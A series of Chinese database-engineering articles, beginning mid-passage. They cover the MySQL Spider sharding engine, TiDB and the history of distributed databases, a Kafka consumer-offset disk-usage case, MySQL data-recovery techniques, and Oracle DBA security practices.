获得访问的分片ID。接着,调用get_next方法获取相应的元组,将返回的数据存放在record buffer,并插入到优先队列。函数最后将元组从优先队列返回。 为缓解内存等资源的压力,Spider实现全表扫描的方法是逐个分片串行扫描(为了加速,spider也提供了并行扫描数据节点的选项)。图8给出了Spider对于上述两种表访问方法的实现机制。 图8-1. 索引扫描实现 图8-2. 全表扫描 2、INSERT操作 MySQL的handler类对于INSERT操作提供的接口函数的名字是write_row。存储引擎想要支持INSERT操作就必须实现write_row方法。Spider对于write_row方法的实现是简单地根据查询解析的信息拼接一条INSERT语句,发往后端节点处理。如果是批量插入操作则需要与MySQL Server层配合,将INSERT语句批量发到后端节点。 图9结合一条批量插入的INSERT语句给出MySQL中INSERT操作的具体实现。 mysql_insert调用write_row执行具体的插入操作(第8行)。这是存储引擎必须实现的方法。对应于spider,spider根据查询涉及到的列(field)拼成一条INSERT语句(如果是分片数据库,VALUSE中的列必须包含分区键,分区键是自增列的情况除外)。图9中的QUERY将用户ID(ID)和用户名(Name)插入到user表,其中ID是分区键。mysql_insert根据VALUES包含的元组数目,判断是否需要进行批量插入操作。该例子的QUERY的VALUES包含4条元组,所有需要进行批量插入操作。MySQL循环调用write_row方法触发spider生成INSERT语句。Spider的write_row方法实现中会根据分区键将INSERT语句进行分组(第5行~第9行)。图9给出的实例只有两个数据分片,所以SQL语句被分成两组。处理完VALUES以后,Spider的INSERT语句也拼接完成。 ha_end_bulk_insert方法通知Spider完成VALUES处理。此时,Spider将INSERT发送到后端节点进行处理(第11行)。 图9. Spider中INSERT操作的实现 3、DELETE实现 Spider想要支持DELETE操作必须实现MySQL handler类提供的ha_delete_row方法。与INSERT操作不同,DELETE操作需要生成一条SELECT语句将查询涉及的分区键拉到Spider节点。这是因为MySQL Server层的“once-a-tuple”的查询执行模型(实际上基本所有的关系数据库系统都采用该模型)会驱动Spider逐个拼接DELETE语句,然后发往后端节点。这时候,Spider需要知道对应的DELETE语句该往哪个后端节点发送。为了减少网络开销,Spider提供了批量发送DELETE语句的功能。 图10. DELETE实现 图10给出了Spiderpider中delete的实现。MySQL Server层首先确定表的访问方法:采用索引扫描或者全部扫描(第5行)?DELETE方法需要执行一次查找操作,调用get_next方法(info.read_record)获取一条元组(第10行)。Spider需要判断是否第一次调用get_next方法。如果是的话,则需要生成SELECT语句,将数据节点的数据拉到本地。否则,Spider直接从本地返回数据给上层调用者。接下来,Server层调用ha_delete_row方法将数据删除。这是存储引擎需要具体实现的方法。由于Spider本身并不存储数据的缘故,其实现delete操作主要思想是利用从后端节点拉取过来的数据(分区键,过滤条件等),拼接成一条DELETE语句。然后,发送该请求到数据节点。Spider为了优化网络开销,提供了批量发送DELETE语句的选项。 UPDATE操作的实现类似DELETE,都需要Spider生成SELECT语句从后端节点拉取数据。只不过,UPDATE在更新区分键的时候,可能需要多一次DELETE操作(删除原来分区的数据,将新的数据插入到不同的分区)。 总结 Spider的最大亮点是为MySQL的使用者提供分库分表的中间件解决方案,同时在SQL语法上兼容MySQL。这得益于Spider作为MySQL的插拔式引擎而存在。Spider是一个proxy,其本身并没有存储数据,因此上层的读写表请求需要转换成SQL语句,重新路由到后端的数据节点。相比其它的中间件解决方案,Spider的查询解析次数都是两次,并没有过多开销。此外,Spider还针对聚集、排序等操作提供了MAP REDUCE的解决方案。 总之,从兼容性、性能上衡量,Spider是MySQL分库分表一个不错的选项。 原文发布时间为:2017-05-03 本文来自云栖社区合作伙伴DBAplus
主题简介: 分布式数据库的历史和现状 TiDB架构和特点 分布式数据库未来趋势 随着大数据这个概念的兴起以及真实需求在各个行业的落地,很多人都热衷于讨论分布式数据库,今天就这个话题,主要分为三部分:第一部分讲一下分布式数据库的过去和现状,希望大家能对这个领域有一个全面的了解;第二部分讲一下TiDB的架构以及最近的一些进展;最后结合我们开发TiDB过程中的一些思考讲一下分布式数据库未来可能的趋势。 一、分布式数据库的历史和现状 1、从单机数据库说起 关系型数据库起源自1970年代,其最基本的功能有两个: 把数据存下来; 满足用户对数据的计算需求。 第一点是最基本的要求,如果一个数据库没办法把数据安全完整存下来,那么后续的任何功能都没有意义。当满足第一点后,用户紧接着就会要求能够使用数据,可能是简单的查询,比如按照某个Key来查找Value;也可能是复杂的查询,比如要对数据做复杂的聚合操作、连表操作、分组操作。往往第二点是一个比第一点更难满足的需求。 在数据库发展早期阶段,这两个需求其实不难满足,比如有很多优秀的商业数据库产品,如Oracle/DB2。在1990年之后,出现了开源数据库MySQL和PostgreSQL。这些数据库不断地提升单机实例性能,再加上遵循摩尔定律的硬件提升速度,往往能够很好地支撑业务发展。 接下来,随着互联网的不断普及特别是移动互联网的兴起,数据规模爆炸式增长,而硬件这些年的进步速度却在逐渐减慢,人们也在担心摩尔定律会失效。在此消彼长的情况下,单机数据库越来越难以满足用户需求,即使是将数据保存下来这个最基本的需求。 2、分布式数据库 所以2005年左右,人们开始探索分布式数据库,带起了NoSQL这波浪潮。这些数据库解决的首要问题是单机上无法保存全部数据,其中以HBase/Cassadra/MongoDB为代表。为了实现容量的水平扩展,这些数据库往往要放弃事务,或者是只提供简单的KV接口。存储模型的简化为存储系统的开发带来了便利,但是降低了对业务的支撑。 (1)NoSQL的进击 HBase是其中的典型代表。HBase是Hadoop生态中的重要产品,Google BigTable的开源实现,所以这里先说一下BigTable。 BigTable是Google内部使用的分布式数据库,构建在GFS的基础上,弥补了分布式文件系统对于小对象的插入、更新、随机读请求的缺陷。HBase也按照这个架构实现,底层基于HDFS。HBase本身并不实际存储数据,持久化的日志和SST file存储在HDFS上,Region Server通过 MemTable 提供快速的查询,写入都是先写日志,后台进行Compact,将随机写转换为顺序写。数据通过 Region 在逻辑上进行分割,负载均衡通过调节各个Region Server负责的Region区间实现,Region在持续写入后,会进行分裂,然后被负载均衡策略调度到多个Region Server上。 前面提到了,HBase本身并不存储数据,这里的Region仅是逻辑上的概念,数据还是以文件的形式存储在HDFS上,HBase并不关心副本个数、位置以及水平扩展问题,这些都依赖于HDFS实现。和BigTable一样,HBase提供行级的一致性,从CAP理论的角度来看,它是一个CP的系统,并且没有更进一步提供 ACID 的跨行事务,也是很遗憾。 HBase的优势在于通过扩展Region Server可以几乎线性提升系统的吞吐,及HDFS本身就具有的水平扩展能力,且整个系统成熟稳定。但HBase依然有一些不足。首先,Hadoop使用Java开发,GC延迟是一个无法避免问题,这对系统的延迟造成一些影响。另外,由于HBase本身并不存储数据,和HDFS之间的交互会多一层性能损耗。第三,HBase和BigTable一样,并不支持跨行事务,所以在Google内部有团队开发了MegaStore、Percolator这些基于BigTable的事务层。Jeff Dean承认很后悔没有在BigTable中加入跨行事务,这也是Spanner出现的一个原因。 (2)RDMS的救赎 除了NoSQL之外,RDMS系统也做了不少努力来适应业务的变化,也就是关系型数据库的中间件和分库分表方案。做一款中间件需要考虑很多,比如解析 SQL,解析出ShardKey,然后根据ShardKey分发请求,再合并结果。另外在中间件这层还需要维护Session及事务状态,而且大多数方案并不支持跨shard的事务,这就不可避免地导致了业务使用起来会比较麻烦,需要自己维护事务状态。此外,还有动态的扩容缩容和自动的故障恢复,在集群规模越来越大的情况下,运维和DDL的复杂度是指数级上升。 国内开发者在这个领域有过很多的著名的项目,比如阿里的Cobar、TDDL,后来社区基于Cobar改进的MyCAT,360开源的Atlas等,都属于这一类中间件产品。在中间件这个方案上有一个知名的开源项目是Youtube的Vitess,这是一个集大成的中间件产品,内置了热数据缓存、水平动态分片、读写分离等,但这也造成了整个项目非常复杂。 另外一个值得一提的是PostgreSQL XC这个项目,其整体的架构有点像早期版本的OceanBase,由一个中央节点来处理协调分布式事务,数据分散在各个存储节点上,应该是目前PG 社区最好的分布式扩展方案,不少人在基于这个项目做自己的系统。 3、NewSQL的发展 2012~2013年Google 相继发表了Spanner和F1两套系统的论文,让业界第一次看到了关系模型和NoSQL的扩展性在一个大规模生产系统上融合的可能性。 Spanner 通过使用硬件设备(GPS时钟+原子钟)巧妙地解决时钟同步的问题,而在分布式系统里,时钟正是最让人头痛的问题。Spanner的强大之处在于即使两个数据中心隔得非常远,也能保证通过TrueTime API获取的时间误差在一个很小的范围内(10ms),并且不需要通讯。Spanner的底层仍然基于分布式文件系统,不过论文里也说是可以未来优化的点。 Google的内部的数据库存储业务,大多是3~5副本,重要的数据需要7副本,且这些副本遍布全球各大洲的数据中心,由于普遍使用了Paxos,延迟是可以缩短到一个可以接受的范围(写入延迟100ms以上),另外由Paxos带来的Auto-Failover能力,更是让整个集群即使数据中心瘫痪,业务层都是透明无感知的。F1是构建在Spanner之上,对外提供了SQL接口,F1是一个分布式MPP SQL层,其本身并不存储数据,而是将客户端的SQL翻译成对KV的操作,调用Spanner来完成请求。 Spanner和F1的出现标志着第一个NewSQL在生产环境中提供服务,将下面几个功能在一套系统中提供: SQL支持 ACID事务 水平扩展 Auto Failover 多机房异地容灾 正因为具备如此多的诱人特性,在Google内部,大量的业务已经从原来的 BigTable切换到Spanner之上。相信这对业界的思路会有巨大的影响,就像当年的Hadoop一样,Google的基础软件的技术趋势是走在社区前面的。 Spanner/F1论文引起了社区的广泛的关注,很快开始出现了追随者。第一个团队是CockroachLabs做的CockroachDB。CockroachDB的设计和Spanner很像,但是没有选择TrueTime API ,而是使用HLC(Hybrid logical clock),也就是NTP +逻辑时钟来代替TrueTime时间戳,另外CockroachDB选用Raft做数据复制协议,底层存储落地在RocksDB中,对外的接口选择了PG协议。 CockroachDB的技术选型比较激进,比如依赖了HLC来做事务,时间戳的精确度并没有办法做到10ms内的延迟,所以Commit Wait需要用户自己指定,其选择取决于用户的NTP服务时钟误差,这点对于用户来说非常不友好。当然 CockroachDB的这些技术选择也带来了很好的易用性,所有逻辑都在一个组件中,部署非常简单,这个是非常大的优点。 另一个追随者就是我们做的TiDB。这个项目已经开发了两年时间,当然在开始动手前我们也准备了很长时间。接下来我会介绍一下这个项目。 二、TiDB的架构和最近进展 TiDB本质上是一个更加正统的Spanner和F1实现,并不CockroachDB那样选择将SQL和KV融合,而是像Spanner和F1一样选择分离。下面是TiDB的架构图: 这样分层的思想也是贯穿整个TiDB项目始终的,对于测试,滚动升级以及各层的复杂度控制会比较有优势,另外TiDB选择了MySQL协议和语法的兼容,MySQL社区的ORM框架、运维工具,直接可以应用在TiDB上,另外和 Spanner一样,TiDB是一个无状态的MPP SQL Layer,整个系统的底层是依赖 TiKV 来提供分布式存储和分布式事务的支持,TiKV的分布式事务模型采用的是Google Percolator的模型,但是在此之上做了很多优化,Percolator的优点是去中心化程度非常高,整个继续不需要一个独立的事务管理模块,事务提交状态这些信息其实是均匀分散在系统的各个key的meta中,整个模型唯一依赖的是一个授时服务器,在我们的系统上,极限情况这个授时服务器每秒能分配 400w以上个单调递增的时间戳,大多数情况基本够用了(毕竟有Google量级的场景并不多见),同时在TiKV中,这个授时服务本身是高可用的,也不存在单点故障的问题。 上面是TiKV的架构图。TiKV和CockroachDB一样也是选择了Raft作为整个数据库的基础,不一样的是,TiKV整体采用Rust语言开发,作为一个没有GC和 Runtime的语言,在性能上可以挖掘的潜力会更大。不同TiKV实例上的多个副本一起构成了一个Raft Group,PD负责对副本的位置进行调度,通过配置调度策略,可以保证一个Raft Group的多个副本不会保存在同一台机器/机架/机房中。 除了核心的TiDB、TiKV之外,我们还提供了不少易用的工具,便于用户做数据迁移和备份。比如我们提供的Syncer,不但能将单个MySQL实例中的数据同步到TiDB,还能将多个MySQL实例中的数据汇总到一个TiDB集群中,甚至是将已经分库分表的数据再合库合表。这样数据的同步方式更加灵活好用。 TiDB目前即将发布RC3版本,预计六月份能够发布GA版本。在即将到来的 RC3版本中,对MySQL兼容性、SQL优化器、系统稳定性、性能做了大量的工作。对于OLTP场景,重点优化写入性能。另外提供了权限管理功能,用户可以按照MySQL的权限管理方式控制数据访问权限。对于OLAP场景,也对优化器做了大量的工作,包括更多语句的优化、支持SortMergeJoin算子、IndexLookupJoin算子。另外对内存使用也做了大量的优化,一些场景下,内存使用下降75%。 除了TiDB本身的优化之外,我们还在做一个新的工程,名字叫TiSpark。简单来讲,就是让Spark更好地接入TiDB。现在其实Spark已经可以通过JDBC接口读取TiDB中的数据,但是这里有两个问题:1. 只能通过单个TiDB节点读取数据且数据需要从TiKV中经过 TiDB 中转。2. 不能和Spark的优化器相结合,我们期望能和Spark的优化器整合,将Filter、聚合能通过TiKV的分布式计算能力提速。这个项目已经开始开发,预计近期开源,五月份就能有第一个版本。 三、分布式数据库的未来趋势 关于未来,我觉得未来的数据库会有几个趋势,也是TiDB项目追求的目标: 1、数据库会随着业务云化,未来一切的业务都会跑在云端,不管是私有云或者公有云,运维团队接触的可能再也不是真实的物理机,而是一个个隔离的容器或者「计算资源」,这对数据库也是一个挑战,因为数据库天生就是有状态的,数据总是要存储在物理的磁盘上,而数据移动的代价比移动容器的代价可能大很多。 2、多租户技术会成为标配,一个大数据库承载一切的业务,数据在底层打通,上层通过权限,容器等技术进行隔离,但是数据的打通和扩展会变得异常简单,结合第一点提到的云化,业务层可以再也不用关心物理机的容量和拓扑,只需要认为底层是一个无穷大的数据库平台即可,不用再担心单机容量和负载均衡等问题。 3、OLAP和OLTP业务会融合,用户将数据存储进去后,需要比较方便高效的方式访问这块数据,但是OLTP和OLAP在SQL优化器/执行器这层的实现一定是千差万别的。以往的实现中,用户往往是通过ETL工具将数据从OLTP数据库同步到OLAP数据库,这一方面造成了资源的浪费,另一方面也降低了OLAP的实时性。对于用户而言,如果能使用同一套标准的语法和规则来进行数据的读写和分析,会有更好的体验。 4、在未来分布式数据库系统上,主从日志同步这样落后的备份方式会被Multi-Paxos / Raft这样更强的分布式一致性算法替代,人工的数据库运维在管理大规模数据库集群时是不可能的,所有的故障恢复和高可用都将是高度自动化的。 原文发布时间为:2017-05-02 本文来自云栖社区合作伙伴DBAplus
Kafka是一种快速、可扩展的,设计内在就是分布式的、分区的和可复制的提交日志服务。作为一种高吞吐量的分布式发布订阅消息系统,Kafka被广泛的应用于海量日志的收集、存储。网上有大量Kafka架构、原理介绍的文章,本文不再重复赘述,重点谈谈Consumer Offset默认保存机制。 Topic作为一类消息的逻辑集合,Kafka集群为其维护了一个分区的日志,其结构如图: Topic每个分区是一个有序的、信息不断追加的序列。分区中的每个消息都分配了一个连续的ID号,称为偏移量(offset),用于唯一标识每个消息在分区中的位置。消费者根据自身保存的offset值确定各分区消费的位置。在0.8版本之前,Kafka一直将consumer的 offset信息记录在ZooKeeper中。 Kafka的ZooKeeper存储架构图 如图,在offsets的子节点中保存了不同的topic的offset 信息。Consumer在消费topic中的信息时需要不断的更新ZooKeeper中的offset信息。 众所周知,由于ZooKeeper并不适合大批量的频繁写入操作,从0.8.2版本开始Kafka开始支持将consumer的位移信息保存在Kafka内部的topic中(从0.9.0版本开始默认将offset存储到系统topic中),虽然此举解决了ZooKeeper频繁写入的性能瓶颈,但却引入了新的问题。 以下是一个真实的案例: 磁盘使用率异常 某日Kafka集群的pc-xxx01主机的文件系统使用率超过80%,触发告警。通过分析发现,topic __consumer_offset 相关log占用大量的磁盘空间。 图1 图2 如图1、2所示,pc-xxx01主机data3目录的磁盘使用率超过85%,其中__consumer_offset对应的24号分区的日志占用了952G,占总使用量的41%。 __consumer_offset的作用 图3 如图3所示,通过消费__consumer_offsets 分区24的数据可以发现,该topic保存的消息格式为[consumer group,topic name,partition]::[offsetmetadata[offset value,nometadata],committime value,expiratintime value],即一条消息包含消费组、topic、分区、offset值、提交时间、过期时间等信息。此topic正是kafka用来保存consumer offset的系统topic(根据实验验证该topic的消息以consumer group为key进行hash,相同consumer group的offset信息会被插入同一个partition)。 __consumer_offsets数据产生的频率 Consumer消费消息之后会向offset manager 发送offsetCommitrequest请求,offset manager 负责将对应的consumer group、topic、partition、offset等信息插入__consumer_offsets topic。系统默认每60s为consumer提交一次offsetcommit请求(由auto.commit.interval.ms, auto.commit.enable两个参数决定)。应用可以采用同步commit的方式进行数据消费(即consumer每处理一条消息触发一次commit操作),这可能导致频繁发送offsetCommitrequest请求的现象发生。 __consumer_offsets 数据保留策略 图4 如图4所示,当前__consumer_offsets 24号分区保留了16年10月到现在的所有消息日志,总量达到952G。 当前__consumer_offsets 的清理策略为compact,日志保留周期为24小时,但是系统默认的log.cleaner.enable为false,导致kafka不会对超过保留周期的数据进行压缩处理,topic保留了系统上线以来的所有历史数据。 不合理的同步提交方式 通过前期分析发现,__consumer_offsets 数据量暴增的24分区的数据主要来自于对log_xxx_plat_xx这个topic的消费组。通过获取应用相关代码分析发现,该topic相关consumer 采用了同步commit方式进行数据消费。 以上是官方文档给出了consumer同步commit消费信息的两种示例代码。第一种方式,只要消费一条消息,就会产生一条commit记录,数据量庞大;第二种方式,对同步commit做了精细化处理,每次批量数据消费,只会对被消费topic各分区中最后一条消息进行commit。如果一个topic包含10个分区,每次消费单个分区需要处理10条消息,采用第一种方式将产生100条commit记录,而第二中方式只会产生10条commit记录,差距巨大。经开发确认,相关应用正是采用了第一种方式进行同步commit。 系统topic分区大小异常的原因 通过以上分析,当前__connsumer_offsets部分分区数据量异常的问题是由于以下两方面原因共同造成: __connsumer_offsets默认清理策略设置不当,导致过期历史数据无法正常清理。 部分应用消费方式不当,导致产生大量commit信息。 针对该问题,我们后续优化策略如下,取得了不错的成效。 要求应用优化代码,减少commit信息的产生,应用进行代码改造之后commit信息日增加量由原先的37G减少到1.5G。 调整topic 清理策略,将系统log.cleaner.enable设置为true,重起broker节点触发日志清理。 优化之后__consumer_offsets 数据量由原先的900G下降到2G。 原文发布时间为:2017-04-28 本文来自云栖社区合作伙伴DBAplus
摘要: 作者介绍 李辉,新浪爱彩票运维负责人,常用网名:门牙没了。主导新浪爱彩票的MySQL运维工作。培训合伙人、资深讲师,中国科学院大学在读研究生(大数据方向),擅长大型项目的关系型数据库运维和管理,现在在数据库运维自动化方向研究。 作者介绍 李辉,新浪爱彩票运维负责人,常用网名:门牙没了。主导新浪爱彩票的MySQL运维工作。培训合伙人、资深讲师,中国科学院大学在读研究生(大数据方向),擅长大型项目的关系型数据库运维和管理,现在在数据库运维自动化方向研究。 做DBA的朋友可能都遇到过MySQL数据损坏或丢失的问题,比如忘加where条件的update、delete语句,或者MySQL服务器异常宕机导致数据文件损坏等。本文针对在日常运维中由于误操作、数据文件损坏、硬盘损坏、备份失效等情况导致的各种数据丢失或损坏的场景,提供了九种恢复方案,供大家参考。 注:高危操作请勿在没有测试的情况下,直接在生产环境使用。 工具一:完全备份+binlog 恢复数据最常见的做法,只要有这两样东西,无论是误操作还是数据库损坏等,都能恢复数据到指定的时间节点,能覆盖大多数的恢复场景,也是DBA手中最重要的资产。恢复方法比较简单这里就不过多赘述了。 工具二:业务逻辑反推恢复update误操作 这种方法适合做了误操作但停机会造成更大影响的场景,通过逻辑反推可以迅速恢复数据到正常状态。下面我们以用户充值表为例,来看看如何恢复误操作。 充值状态说明:0未充值,1已充值,2充值失败,3充值异常。 示例1: 某开发在处理用户充值故障时漏掉了用户id,导致大面积的用户充值状态被篡改。由于此表中有last_update_time字段,所以我们可以根据最后修改时间恢复这次的误操作。 正确的语句update t1 set status=1 where member_id=10001 and status=0; 误操作语句update t1 set status=1 where status=0; 反向执行即可恢复误操作update t1 set status=0 where status=1 and last_update_time=’2017-03-20 11:30:27’; 示例2: 某开发在处理用户充值状态时,漏掉了where条件,导致全表被更新。 正确的语句update t1 set status=1 where member_id=10001 and status=0; 误操作语句update t set status=1; 执行时丢失了where条件,此时就要根据其它表中记录的用户最后的充值status来进行恢复了,比如用户充值历史表,先从用户充值历史表中取得用户最后一次充值的记录,分析此次充值的status,恢复到用户充值表即可。这种恢复方法和业务逻辑密切相关。 从这里我们也可以看出此方法并不是很严谨,比较适合小规模的恢复。 工具三:MySQL flashback 最早的相关资料是在彭立勋的博客上,随后他提交给了MariaDB,网易等大厂在自己的分支中也实现了该功能。对于仍然在使用官方主流版本的同学来说,业内开源的mysqlbinlog_flashback和binlog2sql这两个闪回工具是个不错的选择,作者已经在Github上开源。 其原理主要是由于binlog中会记录Update和Delete语句在更改前后的所有状态(如下图),对binlog进行解析和处理即可得到原始SQL、回滚SQL、INSERT语句等,可以恢复Update和Delete误操作。 工具四:innodb_force_recovery MySQL非正常重启或者磁盘故障等原因可能导致MySQL数据文件损坏,损坏后会导致MySQL server无法启动。如果也没有备份文件,可以使用这个选项强制InnoDB启动,阻止一些后台操作的运行,从而dump出数据库中的数据。 innodb_force_recovery可选的值为0-6,默认情况下的值为0,大的数字包含前面所有数字的影响。当设置参数值大于0后,可以对表进行select,create,drop操作,但insert,update或者delete这类操作是不允许的。 SRV_FORCE_IGNORE_CORRUPT:忽略检查到的corrupt页 SRV_FORCE_NO_BACKGROUND:阻止主线程的运行,如主线程需要执行full purge操作,会导致crash SRV_FORCE_NO_TRX_UNDO:不执行事务回滚操作 SRV_FORCE_NO_IBUF_MERGE:不执行插入缓冲的合并操作 SRV_FORCE_NO_UNDO_LOG_SCAN:不查看重做日志,InnoDB存储引擎会将未提交的事务视为已提交 SRV_FORCE_NO_LOG_REDO:不执行前滚的操作。 [mysqld]中加入此参数,尝试启动MySQL,如果启动失败就逐步增加参数的值,直到启动为止,当然其数据一致性也会越来越差。数据库启动后,InnoDB类型的表只能读不能写,此时把表中的数据dump出来,或导入MyISAM表里面,即可恢复损坏的数据。 工具五:DISCARD、IMPORT TABLESPACE 这种方法适用于修复frm文件损坏,或者误操作、ibd损坏但是有物理备份的情况。修复数据要分两种情况讨论: 有物理备份,数据损坏后table没有recreate过 这种情况下恢复是比较简单的,物理备份中的ibd、数据库中ibd的space id和index id,都是和ibdata文件中的space id和index id一致的,所以可以直接拿物理备份中的ibd覆盖数据库中的ibd。 操作过程: 应用物理备份的log:innobackupex --apply-log 备份数据库中的ibd:cp test.ibd test.bak 丢弃数据库中的ibd:alter table test discard tablespace; 复制物理备份中的ibd到数据库目录:cp /bak/test.ibd /data/test/; chown mysql:mysql /data/test/test.ibd 导入ibd:alter table test import tablespace; 有物理备份,但是数据库中表结构已经被drop。 这种情况有点复杂,因为表被drop后元数据中的space id和index id已经被删除。但space id和index id会留空,不会被新创建的table占用,给我们留下了恢复的机会。只需要重建表结构,然后在ibdata中还原该表的space id即可,还原过程需要percona recovery tool的协助。 操作过程: 应用物理备份的log:innobackupex --apply-log 数据库中重建表:create table test(id int); 关闭数据库 用物理备份中的ibd覆盖数据库中的ibd 使用percona recovery tool修改ibdata:~/percona-data-recovery-tool-for-innodb-0.5/ibdconnect -o /data/ibdata1 -f /data/test/test.ibd -d test -t test 使用percona recovery tool对ibdata做checksum:~/percona-data-recovery-tool-for-innodb-0.5/innochecksum -f /data/ibdata1 重复执行执行步骤6,直到没有任何输出为止 启动MySQL 工具六:手工修改ibd 这种方法适用于只有ibd文件和表结构了,frm和ibdata全部损坏的情况。其原理是在新数据库上创建表,然后修改待恢复的ibd的文件头,使之适应新表的space id和index id,从而读取出ibd中的数据。 操作过程: 1、新建数据库,创建需要恢复的数据库的表结构。 2、使用vim打开此表的ibd文件,16进制查看。 [root@localhost test]# vim -b tmp.ibd :%!xxd 3、使用vim打开要恢复的ibd文件,16进制查看 4、修改要恢复的ibd文件,将红方框中的值修改的和刚刚创建的新表的ibd文件一致。看到后面大段的0000没,我们只需要修改文件头就可以了。00000c0偏移量以后的不用修改。 [root@localhost test]# vim -b tmp.ibd :%!xxd -r #一定要先执行这一步 :wq 5、把待恢复的ibd文件覆盖刚刚创建的新表的ibd文件。修改文件权限为MySQL用户。 6、重启MySQL,重启时加上参数innodb_force_recovery。 7、将数据dump出来,找回数据成功。 工具七:extundelete 这个工具是基于Linux的文件恢复工具,可以用来恢复误删除的表,对于DML和truncate操作无能为力。其主要原理是在Linux文件系统中,删除文件只是删除了文件系统的inode信息,物理文件仍然在磁盘上,通过此工具即可将误删除的文件恢复正常。当然前提是物理文件没有被覆盖。类似的工具还有ext3grep、debugfs等,不再赘述。 工具八:Percona Data Recovery Tool for InnoDB 这个工具是Percona公司开发的一款InnoDB数据恢复工具,目前已经停止开发,但是仍然可用。它通过在原始数据文件(ibd) 中直接提取表的行记录,实现我们从损坏的表恢复数据的目的。要完成这类恢复,前提是要知道待恢复的表结构。Percona Data Recovery Tool for InnoDB直接读取InnoDB的物理页,按照我们给出的表定义,把数据恢复成类csv文件。恢复后的数据可能包含正确的行记录,也可能包含不正确的行记录,并且拿到的数据比较乱,需要做进一步的处理才能导入到数据库中。这个办法是没有办法中的办法了,不得已而为之,希望大家都不会用到这个工具。 原文发布时间为:2017-04-26 本文来自云栖社区合作伙伴DBAplus
讲师介绍 代海鹏 新炬网络资深数据库工程师 擅长数据库性能优化、故障诊断,曾为中国人寿、中国移动、国家电网、太平洋保险等大型企业提供数据库技术支持服务。 分享大纲: 面对数据泄密,DBA能做什么? 面对数据丢失,DBA能做什么? 数据库备份及演练 我把数据的安全事件简单分为两类,第一类是泄密事件,第二类是数据丢失事件。 先说说近年来影响比较大的数据泄密事件: 洲际酒店在内的10大酒店泄密大量客人开房的信息包括姓名、身份证被泄密,直接导致客人量下降; 下一个是韩国2000万信用卡信息泄露,引发“销户潮”; 某网数据泄漏,全国各地有39名用户被骗,诈骗金额高达140多万。像这类数据泄露,如果你的亲属朋友是被骗人之一,我相信感受一定与光看数字的感触不同; 某贷宝被脱裤,导致10G裸条泄露。 再说说近期影响较大的数据丢失事件: Gitlab99%数据丢失:1月份时,某外国工程师对自认为是空文件夹的文件夹做了一个删除,过了两秒他反应过来了,我是不是搞错服务器了,后果是几百G的数据文件被删得就剩下3个G; 炉石传说30%数据丢失:有4人在1月份提议把1月份作为数据安全月,也不至于。这是怎么回事呢?炉石传说的数据库哥们带病运行了两天以后又回滚到故障以前,导致几天的数据全部丢失。这里我们不去深究到底什么技术原因导致竟然无法修复。 对此,我想说的是:我们的运维团队并没有我们想象中那么牛逼,所以我们要对生产抱有敬畏之心。 一、面对数据泄密,DBA能做什么? 1、用户管理 清理和锁定无用的数据库帐号。进了一个新环境,核心库账户是必查项。 将未被锁定的帐号列出来和开发进行确认,每个用户都找到具体作用和应用。 如账户无人认领,则通过DBA_HIST_ACTIVE_SESS_HISTORY 配合dba_users 把这个用户的语句抓出来,继续确认,语句如下: select b.username,a.sql_id ,count(*)from DBA_HIST_ACTIVE_SESS_HISTORY a,dba_users b where a.user_id=b.user_id group by b.username,a.sql_id order by count(*); 如果无法抓出相关信息,这时候就进行汇报,然后申请锁定用户。 11G有非常多的用户,附件word 有其中最常见的31个用户的详细信息,包括用户名字以及这个用户是哪个Oracle默认组件会使用到的。 (点击文末链接下载查看) 2、用户Profile 除了用户本身以外,还有用户的profile要进行检查,首先就是密码的验证算法,11G默认是没有算法的,我们要用脚本@?/rdbms/admin/utlpwdmg.sql创建名叫VERIFY_FUNCTION_11G的验证函数。 VERIFY_FUNCTION_11G函数验证项如下: 密码不能小于8位 密码和用户名不能一样 也不能是反过来的用户名 不能和数据库的服务名一样 检查是不是简单的字典用于,比如password之类的 不能是Oracle 必须包含1个数字,一个字母,在检查的时候顺便检查与之前的密码最少有3个字母不同 profile中有两类属性: 第一类是资源控制,控制逻辑读、SGA、空闲会话存活时长等等。这一类需要将参数resource_limit设置为TRUE才能生效; 第二类是密码策略,包括 错误几次、密码失效、密码可重用周期、最多可重用次数、验证函数、密码锁定时间、到期后缓期执行等,该类型无需resource_limit参数配置。 3、权限管理 权限管理很简单,就是最小化原则。 最小化应用账户,在工作中我个人经验为默认给开发及应用账户的权限,就connect、resource、创建视图的权限即可。 reousrce的权限是有很多,可以创建视图,我只给这么多,如果你还想要别的,可以向DBA团队申请,DBA团队来给你审批。然后是数据库字典,普通用户禁止访问。为了禁止普通用户的访问可以用下面的07-DICTIONARY-ACCESSIBILTY进行限制。安全和便利总是相对的,越安全,那么操作起来就越复杂,所以说这里是否进行限制就见仁见智。我们可以把权限汇集成Role,一类应用所需的权限可以归类为一个单独的role,以后只要是类似应用上线不要再管理。而应用下线也可以通过Role快速回收对应权限。通过Role赋权是我的建议之一。 最小化DBA权限用户,一种是操作系统上面DBA组,其中操纵系统帐号最好就Oracle一个,因为DBA组所属用户可以通过操作系统验证直接以sysdba的权限登录到库里。另外一种,数据库里面有DBA角色,或者有大权限的帐号也一定要审查一下,如果有可疑的账户虽然没有DBA角色,但相关的权限却全部拥有的,更是一定要进行检查核对。 4、日志管理 日志管理主要是说审计,在后面发现问题时可以快速知道是之前谁做的操作。我们可以把审计配置好以后关闭审计,如果某天系统已经上生产后老板说你给我把这个库审计一下,我们只需一条命令就可以审计了,不需要再做一系列配置及资源申请。 审计涉及的参数: AUDIT_TRAIL,有几种配置选项,将审计数据放在数据库中 或者放在文件系统中,是普通模式 还是 extend模式。详细的进reference一看便知,这个可自己调配 AUDIT_SYS_OPERATIONS参数建议打开,毕竟sysdba的威力其实是最大的 有几点注意事项: 将aud$表挪出SYSTEM表空间 AUDIT_FILE_DEST审计文件存放位置设置一个单独的lv,严禁与根目录,ORACLE_HOME目录放在一起 默认使用命令noaudit create session 先停止审计,在需要的时候再开启 11G新参数ENABLE_DDL_LOGGING,开这个参数可以在alert日志中记录所有的DDL语句,不过记录的内容相对简单,只有时间和语句。 在11.2.0.4之前,这个功能是有bug的,rename操作是不做记录的。 到12C 这个参数更加完善了,如图右,除了语句以外 还有IP 、机器名等信息,在我们不开审计的情况下,也能获取DDL执行信息。 5、漏洞管理 及时的升级对应的PSU,尤其是修复的重要安全bug的PSU。 关于漏洞,我简单地贴了一个文章,1454618.1。 